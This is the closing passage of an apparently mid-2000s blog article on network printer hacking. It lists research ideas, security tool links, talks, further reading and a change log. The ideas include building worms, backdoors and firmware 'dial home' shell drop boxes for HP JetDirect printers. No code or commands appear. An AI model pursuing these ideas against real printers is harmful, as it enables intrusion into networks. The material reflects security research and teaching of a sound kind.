        There's still a lot more out there I need to research and play with when it comes to hacking network printers. As with most of my projects this is a work in progress so feel free to email me your ideas. A few interesting topics might be:

•         Using Phenoelit's ChaiServices information to create worms, backdoor and other malware for HP JetDirect printers.

•         Modifying the PFT source code to make automated apps for searching an IP space and pulling files off of the network printers.

•         Vulnerabilities in network printer implementation like buffer overflows and such.

•         Hacking the firmware in JetDirects to create dial home (shell shoveling) drop boxes that could be left behind on target networks to help with intrusions. For those wanting to help install the HP Download Manager and look in "C:\Program Files\Hewlett-Packard\HP Download Manager\Upgrades\jetdirect" for the vendor firmwares.

• Tracking Dots: http://www.eff.org/Privacy/printers/list.php

        Also don't forget to check out SecurityFocus' online vulnerabilities database (http://www.securityfocus.com/) to see if your particular network printers have any outstanding issues. I know they have a few issues listed for some of the JetDirect boxes. While you're at it, check for vulnerabilities in the base OS that the network printer uses, VxWorks in the case of some JetDirects and NetBSD for the Ricoh Savins.

        I hope you have found this article interesting. If you have any ideas or comments please feel free to e-mail me. Happy printer hacking.

Links to Tools:

HP Web JetAdmin (without registering)
http://www.svrops.com/svrops/dwnldprog.htm

HP JetAdmin for Window 2000 3.42, the last version to be released
http://www.helpdesk.umd.edu/os/windows_nt/printing/674/

HP Download Manager (for upgrading firmware)
http://www.hp.com/go/dlm_sw

Ghostscript, Ghostview and GSview
http://www.cs.wisc.edu/~ghost/

SmartDeviceMonitor
http://www.ricoh-usa.com/products/product_features.asp?pCategoryId=
19&pSubCategoryId=46&pCatName=Solutions&pSubCatName=
Device%20Management&pProductId=67&pProductName=SmartDeviceMonitor&tsn=Ricoh-USA

Foundstone's SNScan (find network printers that use SNMP, which seems to be most of them)
http://www.foundstone.com/resources/proddesc/snscan.htm

SoftPerfect's NetScan (also useful for scanning for SNMP services)
http://www.softperfect.com/products/networkscanner/

Silicosis' HP Printer Display Hack
http://www.irongeek.com/i.php?page=security/hphack

Irongeek's GUI HP Printer Display Hack
http://www.irongeek.com/i.php?page=security/jetdirecthack

IPIterator
http://www.irongeek.com/i.php?page=security/ipiterator

Hijetter
http://www.phenoelit.de/hp/download.html

Ettercap
http://ettercap.sourceforge.net/

Ethereal
http://www.ethereal.com/

NetCat
http://netcat.sourceforge.net/

Net-SNMP
http://net-snmp.sourceforge.net/

Media:

 Here's a collection of videos and other media on Network Printer Hacking you might be interest in:

Network Printer Hacking: Irongeek's Presentation at Notacon 2006
http://irongeek.com/i.php?page=videos/notacon2006printerhacking

Slide and other resources from the above presentation
http://irongeek.com/downloads/notacon2006.zip

Infonomicon TV Ep 7
http://irongeek.com/i.php?page=videos/infonomicontv7

Useful links for further research:

Common print server port numbers
http://members.cruzio.com/~jeffl/sco/lp/printservers.htm

HP's guide to securing JetDirect printers
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999

Understanding, Reversing, and Hacking HP Printers by Slobotron
http://www.searchlores.org/realicra/hp_slobo.htm

SecurityFocus' online vulnerabilities database
http://www.securityfocus.com/

Network Printers and Other Peripherals -- Vulnerabilities and Fixes by Dennis Mattison (Littlew0lf)
http://members.cox.net/ltlw0lf/printers/index.html
older version: http://freshmeat.net/articles/view/445/

Securing Network Print Jobs - An LRS White Paper
http://www.lrs.com/EOM/Solutions/Papers/secure.aspx

Printer Job Language Technical Reference Manual
http://lprng.sourceforge.net/DISTRIB/RESOURCES/DOCS/pjltkref.pdf

Printers, Proxies and Pranksters An April Fool's Recipe for Fun by Kellegous
http://web.kellegous.com/scratch/2003/printers1KBXB/

RICOH Aficio 2035 "security'' by mslaviero
http://www.cs.up.ac.za/cs/mslaviero/archives/2005/04/28/ricoh-afficio-2035-security-or-lack-thereof/

Special thanks to Nancy for proof reading and making my English intelligible.

Change Log

02/06/2007: I've updated info on the fix for the Pharos cached print job vulnerability
01/20/2007: HP seems to have released a fix for the FTP DoS problem. See the Printer DoSing section.
01/10/2007: Fixed and added some links in the Printer DoSing section.
01/06/2007: Add information on the Joxean Koret attack to the Printer DoSing section.
04/18/2006: Added link to a newer version of Littlew0lf's article.
04/10/2006: Added Media section.
04/02/2006: Added a bunch of information for my presentation at Notacon 2006

Added section: Stupid Printer Tricks
Added section: Finding info about the printer using SNMP tools.
Added section: Finding Printers with Google.
Added section: RSH commands and Richo Savin Aficio Printers.
Added section: Spamming Printers.
Added section: Getting a JetDirect password remotely using the SNMP vulnerability
Added information about SSL with newer Jetdirects to A note on Plain-text authentication protocols and JetDirect password notes sections.
Added information on SmartDeviceMonitor to Finding Network printers using Nmap and SNMP tools and Finding info about the printer using SNMP tools as well as adding screenshot of the SNMP tools mentioned. I also added some details on finding network printers via their MAC address.
Added information on holding a connection to port 9100/tcp to DoSing the network or the printer.
Added information on IPX/AppleTalk/SMB to Intro to the concepts.
Added alternate Perl script and added PHP web form to Coding your own scripts with PHP, Perl and PJL.
Added HP firmware location to Other Ideas.

01/18/2006: Added section on Fixing a busted hard drive with Ghost.
09/14/2005: Found another missing image, the LCD Display icon from Hijetter. It's fixed now. I also added a link suggested by Dick from Hack A Day.
09/14/2005: Hack A Day added a link to this site and I noticed that the Hijetter file system image was broken. It should be fixed now.
09/13/2005: Added "Coding your own scripts with Perl and PJL" section.
09/11/2005: First posted.

Irongeek's Notes For Later:

nano /etc/init.d/sysklogd
-r
LAND attacks